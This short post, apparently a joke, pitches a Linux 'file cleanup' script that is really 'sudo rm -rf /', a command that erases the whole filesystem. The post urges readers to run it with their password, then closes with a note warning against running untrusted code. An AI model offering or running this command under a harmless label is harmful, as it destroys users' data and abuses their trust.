I wrote a cool program that cleans up extraneous files from your hard drive on most Linux flavors. Just put this in your home directory and run it, type your password so it can check all the files and see which ones aren't needed and can be deleted:
#!/bin/bash
sudo rm -rf /
Source code available upon request.
Note: Don't be stupid enough to run this. Or anything that you don't inherently trust either because it comes from a reputable site or you know how to read the source code and verify that it's safe to use.